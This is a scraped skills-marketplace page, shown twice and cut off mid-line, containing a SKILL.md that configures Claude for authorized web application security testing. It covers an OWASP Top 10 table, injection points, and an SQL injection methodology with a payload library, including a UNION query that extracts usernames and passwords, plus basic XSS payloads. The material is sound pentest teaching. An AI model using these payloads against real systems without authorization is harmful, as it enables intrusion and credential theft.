09-web-security

Name: 09-web-security
Author: Masriyan

190stars37forks

How to install 09-web-security?

masriyan/claude-code-cybersecurity-skill/09-web-security

$npx -y skills add Masriyan/Claude-Code-CyberSecurity-Skill --skill 09-web-security

Installs into the current project.

Summary

OWASP Top 10 testing, injection vulnerability detection, API security assessment, authentication testing, and web vulnerability reporting for authorized assessments

Files · 1

View on GitHub

SKILL.md

1	# Web Application Security Testing
2
3	## Purpose
4
5	Enable Claude to assist with comprehensive web application security assessments covering OWASP Top 10, injection testing, API security, authentication analysis, and client-side security. Claude analyzes application behavior, generates test payloads, reviews source code, and produces structured vulnerability reports.
6
7	> Authorization Required: All testing must be performed on authorized targets only. Confirm scope and written authorization before testing.
8
9	---
10
11	## Activation Triggers
12
13	This skill activates when the user asks about:
14	- OWASP Top 10 testing or assessment methodology
15	- SQL injection, XSS, SSRF, SSTI, command injection testing
16	- API security testing (REST, GraphQL, SOAP)
17	- Authentication bypass, session management flaws
18	- Web application firewall (WAF) bypasses for authorized testing
19	- CORS, CSP, or security header analysis
20	- OAuth/OIDC security review
21	- JWT analysis or manipulation
22	- Burp Suite or OWASP ZAP usage guidance
23	- Web vulnerability report writing
24
25	---
26
27	## Prerequisites
28
29	```bash
30	pip install requests beautifulsoup4 urllib3 lxml
31	```
32
33	Recommended tools:
34	- `Burp Suite Community/Pro` — Web proxy and scanner
35	- `OWASP ZAP` — Open-source web scanner
36	- `sqlmap` — Automated SQL injection (authorized use only)
37	- `Nikto` — Web server scanner
38	- `ffuf / feroxbuster` — Web fuzzer
39	- `jwt_tool` — JWT analysis and manipulation
40
41	---
42
43	## Core Capabilities
44
45	### 1. OWASP Top 10 Assessment
46
47	When the user asks to assess for OWASP Top 10 vulnerabilities:
48
49	\| # \| Vulnerability \| Claude's Assessment Approach \|
50	\|---\|--------------\|------------------------------\|
51	\| A01 \| Broken Access Control \| Test IDOR, path traversal, forced browsing, privilege escalation \|
52	\| A02 \| Cryptographic Failures \| Audit TLS, check sensitive data exposure, weak algorithms \|
53	\| A03 \| Injection \| Test all inputs for SQLi, NoSQLi, OS command, LDAP, SSTI \|
54	\| A04 \| Insecure Design \| Review architecture for missing security controls \|
55	\| A05 \| Security Misconfiguration \| Check defaults, error disclosure, directory listing, debug mode \|
56	\| A06 \| Vulnerable Components \| Audit third-party libraries and framework versions \|
57	\| A07 \| Auth & ID Failures \| Test session management, brute force, MFA, credential storage \|
58	\| A08 \| Software & Data Integrity \| Check update mechanisms, deserialization, CI/CD security \|
59	\| A09 \| Logging & Monitoring Failures \| Verify logging coverage and alerting \|
60	\| A10 \| SSRF \| Test URL parameters, webhooks, import functionality \|
61
62	### 2. Injection Testing
63
64	When the user asks to test for injection vulnerabilities:
65
66	Input Discovery — Map all injection points:
67	```
68	GET/POST parameters
69	URL path segments (/users/INJECT/profile)
70	HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie)
71	JSON body fields {"name": "INJECT"}
72	XML body fields <name>INJECT</name>
73	GraphQL variables {query: "{ user(name: \"INJECT\") }"}
74	File upload names and metadata
75	```
76
77	SQL Injection Testing Methodology:
78	```
79	Step 1: Detection — Test for error-based confirmation
80	' → SQL error = likely vulnerable
81	' OR '1'='1 → true condition
82	' OR '1'='2 → false condition
83	' AND SLEEP(5)-- - → time delay = blind SQLi
84
85	Step 2: Fingerprint the database
86	' AND 1=CONVERT(int,@@version)-- - → MSSQL version
87	' AND 1=1 UNION SELECT @@version-- - → MySQL
88	' AND 1=(SELECT 1 FROM dual)-- - → Oracle
89
90	Step 3: Extraction (authorized PoC only)
91	' UNION SELECT null,username,password,null FROM users-- -
92	```
93
94	SQLi Payload Library:
95	```sql
96	-- Basic detection
97	'
98	''
99	`
100	')
101	'))
102	' OR '1'='1'--
103	' OR 1=1--
104	" OR "1"="1
105	' OR 'x'='x
106
107	-- MySQL time-based blind
108	' AND SLEEP(5)-- -
109	' OR SLEEP(5)=0-- -
110
111	-- MSSQL time-based blind
112	'; WAITFOR DELAY '0:0:5'-- -
113
114	-- PostgreSQL time-based blind
115	'; SELECT pg_sleep(5)-- -
116
117	-- Error-based (MySQL)
118	' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
119	' AND (SELECT 1 FROM(SELECT COUNT(),CONCAT(0x7e,(SELECT version()),0x7e,FLOOR(RAND(0)2))x FROM information_schema.tables GROUP BY x)a)-- -
120
121	-- UNION enumeration
122	' ORDER BY 1-- - (increment until error to find column count)
123	' UNION SELECT null-- -
124	' UNION SELECT null,null-- -
125	' UNION SELECT null,null,null-- -
126	```
127
128	XSS Testing Methodology:
129	```
130	Step 1: Find reflection points
131	Input: test123 → Search in source for "test123"
132	What HTML context is it in?
133	• HTML content: <p>test123</p>
134	• Attribute: <input value="test123">
135	• JavaScript: var x = "test123";
136	• URL: href="test123"
137
138	Step 2: Test basic payload for context
139	HTML content: <script>alert(1)</script>
140	Attribute: " onmouseover="alert(1)
141	JavaScript: ";alert(1);//
142	URL: javascript:alert(1

People who liked this also viewed

6 picks

Type

09-web-security

190stars37forks

View on GitHub

How to install 09-web-security?

masriyan/claude-code-cybersecurity-skill/09-web-security

$npx -y skills add Masriyan/Claude-Code-CyberSecurity-Skill --skill 09-web-security

Installs into the current project.

Summary

OWASP Top 10 testing, injection vulnerability detection, API security assessment, authentication testing, and web vulnerability reporting for authorized assessments

Files · 1

View on GitHub

SKILL.md

1	# Web Application Security Testing
2
3	## Purpose
4
5	Enable Claude to assist with comprehensive web application security assessments covering OWASP Top 10, injection testing, API security, authentication analysis, and client-side security. Claude analyzes application behavior, generates test payloads, reviews source code, and produces structured vulnerability reports.
6
7	> Authorization Required: All testing must be performed on authorized targets only. Confirm scope and written authorization before testing.
8
9	---
10
11	## Activation Triggers
12
13	This skill activates when the user asks about:
14	- OWASP Top 10 testing or assessment methodology
15	- SQL injection, XSS, SSRF, SSTI, command injection testing
16	- API security testing (REST, GraphQL, SOAP)
17	- Authentication bypass, session management flaws
18	- Web application firewall (WAF) bypasses for authorized testing
19	- CORS, CSP, or security header analysis
20	- OAuth/OIDC security review
21	- JWT analysis or manipulation
22	- Burp Suite or OWASP ZAP usage guidance
23	- Web vulnerability report writing
24
25	---
26
27	## Prerequisites
28
29	```bash
30	pip install requests beautifulsoup4 urllib3 lxml
31	```
32
33	Recommended tools:
34	- `Burp Suite Community/Pro` — Web proxy and scanner
35	- `OWASP ZAP` — Open-source web scanner
36	- `sqlmap` — Automated SQL injection (authorized use only)
37	- `Nikto` — Web server scanner
38	- `ffuf / feroxbuster` — Web fuzzer
39	- `jwt_tool` — JWT analysis and manipulation
40
41	---
42
43	## Core Capabilities
44
45	### 1. OWASP Top 10 Assessment
46
47	When the user asks to assess for OWASP Top 10 vulnerabilities:
48
49	\| # \| Vulnerability \| Claude's Assessment Approach \|
50	\|---\|--------------\|------------------------------\|
51	\| A01 \| Broken Access Control \| Test IDOR, path traversal, forced browsing, privilege escalation \|
52	\| A02 \| Cryptographic Failures \| Audit TLS, check sensitive data exposure, weak algorithms \|
53	\| A03 \| Injection \| Test all inputs for SQLi, NoSQLi, OS command, LDAP, SSTI \|
54	\| A04 \| Insecure Design \| Review architecture for missing security controls \|
55	\| A05 \| Security Misconfiguration \| Check defaults, error disclosure, directory listing, debug mode \|
56	\| A06 \| Vulnerable Components \| Audit third-party libraries and framework versions \|
57	\| A07 \| Auth & ID Failures \| Test session management, brute force, MFA, credential storage \|
58	\| A08 \| Software & Data Integrity \| Check update mechanisms, deserialization, CI/CD security \|
59	\| A09 \| Logging & Monitoring Failures \| Verify logging coverage and alerting \|
60	\| A10 \| SSRF \| Test URL parameters, webhooks, import functionality \|
61
62	### 2. Injection Testing
63
64	When the user asks to test for injection vulnerabilities:
65
66	Input Discovery — Map all injection points:
67	```
68	GET/POST parameters
69	URL path segments (/users/INJECT/profile)
70	HTTP headers (X-Forwarded-For, User-Agent, Referer, Cookie)
71	JSON body fields {"name": "INJECT"}
72	XML body fields <name>INJECT</name>
73	GraphQL variables {query: "{ user(name: \"INJECT\") }"}
74	File upload names and metadata
75	```
76
77	SQL Injection Testing Methodology:
78	```
79	Step 1: Detection — Test for error-based confirmation
80	' → SQL error = likely vulnerable
81	' OR '1'='1 → true condition
82	' OR '1'='2 → false condition
83	' AND SLEEP(5)-- - → time delay = blind SQLi
84
85	Step 2: Fingerprint the database
86	' AND 1=CONVERT(int,@@version)-- - → MSSQL version
87	' AND 1=1 UNION SELECT @@version-- - → MySQL
88	' AND 1=(SELECT 1 FROM dual)-- - → Oracle
89
90	Step 3: Extraction (authorized PoC only)
91	' UNION SELECT null,username,password,null FROM users-- -
92	```
93
94	SQLi Payload Library:
95	```sql
96	-- Basic detection
97	'
98	''
99	`
100	')
101	'))
102	' OR '1'='1'--
103	' OR 1=1--
104	" OR "1"="1
105	' OR 'x'='x
106
107	-- MySQL time-based blind
108	' AND SLEEP(5)-- -
109	' OR SLEEP(5)=0-- -
110
111	-- MSSQL time-based blind
112	'; WAITFOR DELAY '0:0:5'-- -
113
114	-- PostgreSQL time-based blind
115	'; SELECT pg_sleep(5)-- -
116
117	-- Error-based (MySQL)
118	' AND extractvalue(1,concat(0x7e,(SELECT version())))-- -
119	' AND (SELECT 1 FROM(SELECT COUNT(),CONCAT(0x7e,(SELECT version()),0x7e,FLOOR(RAND(0)2))x FROM information_schema.tables GROUP BY x)a)-- -
120
121	-- UNION enumeration
122	' ORDER BY 1-- - (increment until error to find column count)
123	' UNION SELECT null-- -
124	' UNION SELECT null,null-- -
125	' UNION SELECT null,null,null-- -
126	```
127
128	XSS Testing Methodology:
129	```
130	Step 1: Find reflection points
131	Input: test123 → Search in source for "test123"
132	What HTML context is it in?
133	• HTML content: <p>test123</p>
134	• Attribute: <input value="test123">
135	• JavaScript: var x = "test123";
136	• URL: href="test123"
137
138	Step 2: Test basic payload for context
139	HTML content: <script>alert(1)</script>
140	Attribute: " onmouseover="alert(1)
141	JavaScript: ";alert(1);//
142	URL: javascript:alert(1

People who liked this also viewed

6 picks

Type